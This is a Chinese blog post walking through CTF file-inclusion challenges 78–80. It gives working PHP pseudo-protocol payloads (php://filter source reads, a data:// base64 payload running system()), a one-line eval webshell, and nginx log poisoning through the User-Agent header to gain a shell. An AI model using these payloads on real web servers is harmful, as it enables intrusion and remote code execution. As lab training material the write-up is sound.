目录
普通文件包含
常见的php伪协议大致四种
1.php://filter 主要用于读取源码
2.php://input 经常使用file_get_contents获取php://input内容
3.data:// 执行命令
4.file:// 访问本地文件系统
78
观察一下,没有过滤,可以直接使用功能php://filter伪协议
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
主要是别忘了convert,用于转换编码用的,缺少会报错
也可以用data伪协议
?file=data://text/plain,
?file=data://text/plain,
然后查看源码
也可以尝试php://input
79
将php替换为了??? 因此不能明文读取
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
其中
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
为base64编码的
<?php system('cat flag.php'); ?>
好像大小写也能绕过,但有点chun。
传入shell(一句话木马)
多少有点骚气在里面的
?file=data://text/plain,
post 1=phpinfo();
80
知识点:日志文件包含,伪造UA写入php代码
日志文件包含
日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
apache2一般是/var/log/apache2/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
php和data都被禁用了(大小写好像还能用)
日志文件包含
nginx和apache的日志文件包含也是一个考点
这个Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码
且操作一定不能出问题,如果报错就要销毁容器从头再来
因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。
include加载的文件都会当做PHP进行解析。如果文件中有PHP代码,就会执行PHP代码。不是PHP代码的部分就会直接输出。
Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去,所以构造一个有马的请求(<?php eval($_POST[1]);?>
),再用file包含日志文件。所以就可以执行拿到shell了。
先添加user-agetn:
执行 url?file=/var/log/nginx/access.log&5=phpinfo();
总体思路相当于,将这个useragent插入到了主机中的日志文件中,因此访问日志文件的时候携带1的参数,则将include包含日志的时候执行了eval(1)这个命令,导致其发生了可以读写,用蚁剑连接也可也
标签:文件,第一天,包含,nginx,file,日志,php,log From: https://www.cnblogs.com/vaneshadow/p/17428787.html